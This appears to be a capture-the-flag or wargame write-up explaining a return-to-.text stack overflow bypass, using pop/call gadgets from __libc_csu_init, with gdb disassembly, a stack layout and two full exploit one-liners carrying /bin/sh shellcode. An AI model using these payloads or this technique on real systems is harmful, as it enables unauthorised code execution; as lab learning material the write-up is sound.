In this exercise the ret filter is more restrictive. There is a hint that we have to use the return to .text technique. This means we have to utilize the assembly instructions from the .text segment of the application to jump our shellcode. There are a couple of ways to accomplish this.

  • RET
  • POP register/CALL register
  • POP register/JMP register
  • Any other combination

I disassembled the application with objdump. Although there is a simple solution (saving the location of the address of the shellcode on the stack and using only the RET instruction), I decided a harder way to do this, because I wanted to learn more.


(gdb) disas __libc_csu_init

0x080485b4 <__libc_csu_init+68>: call DWORD PTR [ebx+esi*4-0xe8]

0x080485c5 <__libc_csu_init+85>: pop ebx
0x080485c6 <__libc_csu_init+86>: pop esi
0x080485c7 <__libc_csu_init+87>: pop edi
0x080485c8 <__libc_csu_init+88>: pop ebp
0x080485c9 <__libc_csu_init+89>: ret

First we jump to 0x080485c5 and initialize the registers with the help of the pop instructions. The ret address will be 0x080485b4, which is a call function. The address of the call is calculated from the value of the initialized registers. We have to construct a stack:

| Leading bytes | first RET = 0x080485c5 | ebx | esi | edi | ebp | second RET = 0x080485b4 | x1 = address of shellcode | shellcode |

ebx+esi*4-0xe8 should be equal to the address of x1. I constructed the first version of the exploit and crashed the application, then I loaded the core dump into gdb and determined the missing addresses.

echo `python -c ‘print “\x41″*80 + “\x42\x42\x42\x42” + “\x41\x41\x41\x41” + “\x41\x41\x41\x41” + “\x41\x41\x41\x41” + “\x41\x41\x41\x41” + “\x41\x41\x41\x41” + “\x41\x41\x41\x41” + “\x31\xc0\x31\xdb\xb0\x06\xcd\x80\x53\x68/tty\x68/dev\x89\xe3\x31\xc9\x66\xb9\x12\x27\xb0\x05\xcd\x80\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80″‘` > /tmp/1

The address of the shellcode is 0xbffffce8. The address of x1 is 0xbffffce4. One possible combination: ebx = 0x266665ec and esi = 0x266665f8. Since the values are passed as string, it is important that the hex values do not contain zeroes. The final solution:

echo `python -c ‘print “\x41″*80 + “\xc5\x85\x04\x08” + “\xec\x65\x66\x26” + “\xf8\x65\x66\x26” + “\x41\x41\x41\x41” + “\x41\x41\x41\x41” + “\xb4\x85\x04\x08” + “\xe8\xfc\xff\xbf” + “\x31\xc0\x31\xdb\xb0\x06\xcd\x80\x53\x68/tty\x68/dev\x89\xe3\x31\xc9\x66\xb9\x12\x27\xb0\x05\xcd\x80\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80″‘` > /tmp/1